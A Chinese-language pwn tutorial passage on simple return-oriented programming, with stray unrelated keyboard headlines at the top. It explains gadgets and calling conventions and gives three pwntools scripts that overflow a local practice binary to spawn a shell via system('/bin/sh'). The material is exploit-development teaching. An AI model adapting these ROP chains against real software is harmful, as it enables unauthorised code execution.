Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP
8種機械鍵盤軸體對比
本人程序員,要買一個寫代碼的鍵盤,請問紅軸和茶軸怎么選?
這篇鴿了挺久的,補一下吧
簡單介紹ROP
首先先來說下什么是ROP
ROP是Return Oriented Programming 的縮寫
翻譯過來就是面向返回的編程
你可能會問,我們不是利用棧溢出漏洞么,怎么又扯到編程了?
其實ROP就是另外一種意義上的編程,其核心在于利用了指令集中的 ret 指令,改變了指令流的執行順序。ROP 攻擊一般得滿足如下條件程序存在溢出,并且可以控制返回地址。
可以找到滿足條件的 gadgets 以及相應 gadgets 的地址。
這里的gadgets是類似下面的代碼片段
這里用32位的程序作為示例,所以我們先講32位的ROP,然后再講64位的ROP,兩者其實相差不大
這些gadgets一般遵循以下的形式1
2
3xxx
xxx
ret
例如1
2pop ebp
ret
1
2int 80h
ret
反正就是一堆指令后面跟著ret
但是比較常見和常用的就是1
2pop xxx
ret
這一類的gadget
但是其實在32位的ROP中是比較少用gadget的
這里又扯一下函數參數的傳遞方式32位
我們舉一個例子吧,在上一章的示例程序中也可以找到對應的代碼1read(0,buf,0x100)
這一句代碼,對應的匯編是1
2
3
4
5.text:08048484 push 100h ; nbytes
.text:08048489 lea eax, [ebp+buf]
.text:0804848C push eax ; buf
.text:0804848D push 0 ; fd
.text:0804848F call _read
可以看到參數是從右到左入棧,先push 0x100,再push buf,最后push 0
所以例如1my_fun(0,1,2,3,4,5,6)
對應的匯編就是1
2
3
4
5
6
7
8push 6
push 5
push 4
push 3
push 2
push 1
push 0
call my_fun
64位
同樣是那一行代碼1read(0,buf,0x100)
對應的64位匯編是1
2
3
4
5lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
而1my_fun(0,1,2,3,4,5,6)
就變成1
2
3
4
5
6
7
8push 6
mov r9d, 5
mov r8d, 4
mov ecx, 3
mov edx, 2
mov esi, 1
mov edi, 0
call my_fun
可以看到函數的前6個參數都會放到寄存器里面,從左到右對應的是1rdi, rsi, rdx, rcx, r8d, r9d
如果還有更多參數的話,就會通過棧來傳遞
32位程序實戰
接下來結合實例來講一下吧
還是用上一章那個程序
假如現在我們不直接跳到backdoor函數,而是通過ROP來調用1system("/bin/sh")
布置好的棧如下
對應的payload是1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
system=0x8048340
binsh=0x8048577
p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))
p.interactive()
接下來講解一下為什么這樣布置棧
我們在0x8048499 處下一個斷點
用1x /10xw $esp
查看棧的情況
1
2
30x08048340 -> system
0xdeadbeef -> retaddr
0x08048577 -> /bin/sh字符串的地址
你可能想問,這里為什么突然多了retaddr這個東西了呢?
我們來回顧一下正常調用1system("/bin/sh")
對應的匯編是1
2push binsh_addr
call system
關鍵就在1call system
這句匯編其實等價于1
2push eip+5
jmp system
因為call指令一波都是5個字節的長度,所以這里保存的是下一條指令的地址
而我們棧溢出控制rip,其實就相等于1jmp system
少了保存地址,所以我們要填一個返回地址給它
但是調用system(“/bin/sh”)之后就get shell了,返回地址是什么其實沒有什么所謂,所以填0xdeadbeef也行
接下來加大一點難度
假設程序里面沒有/bin/sh這個字符串,我們要調用read讀/bin/sh到bss段
布置好的棧如下
payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
#gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
read=0x8048320
system=0x8048340
binsh=0x8048577
pop3ret=0x8048539
bss=0x804A024
payload='a'*13+p32(read)+p32(pop3ret)+p32(0)+p32(bss)+p32(0x100)
payload+=p32(system)+p32(0xdeadbeef)+p32(bss)
p.send(payload)
sleep(1)
p.sendline('/bin/shx00')
p.interactive()
這里如果要調試的話,最好把1sleep(1)
換成1raw_input()
這樣比較好調
這里1pop3ret
作用是改變棧,讓棧指針指向system
64位程序實戰
64位的其實和32位的大同小異,區別就在于傳遞參數那里
這里給下示例程序
然后給下payload,因為差不多,所以就不詳細解釋了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from pwn import *
p=process('./pwn_level1_64')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
prdi=0x400663
binsh=0x400684
system=0x400480
payload='a'*9+p64(prdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()
但是因為程序沒有1pop rdx
這個gadget,所以在這個程序比較難控制第三個參數,也就比較難調用1read(0,buf,0x100)
比較難不代表不行,之后會介紹一個萬能gadget,能夠控制rdx的
總結
以上是生活随笔為你收集整理的Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: vmware安装linux不能和主机互通
- 下一篇: linux 其他常用命令